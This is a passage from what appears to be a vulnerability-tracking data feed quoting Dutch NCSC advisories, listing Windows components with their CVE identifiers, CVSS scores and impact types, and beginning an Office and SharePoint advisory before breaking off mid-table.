Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:07.288862Z"}, {"uuid": "52ec9e0d-d592-4789-ac0c-364072ddb14d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | 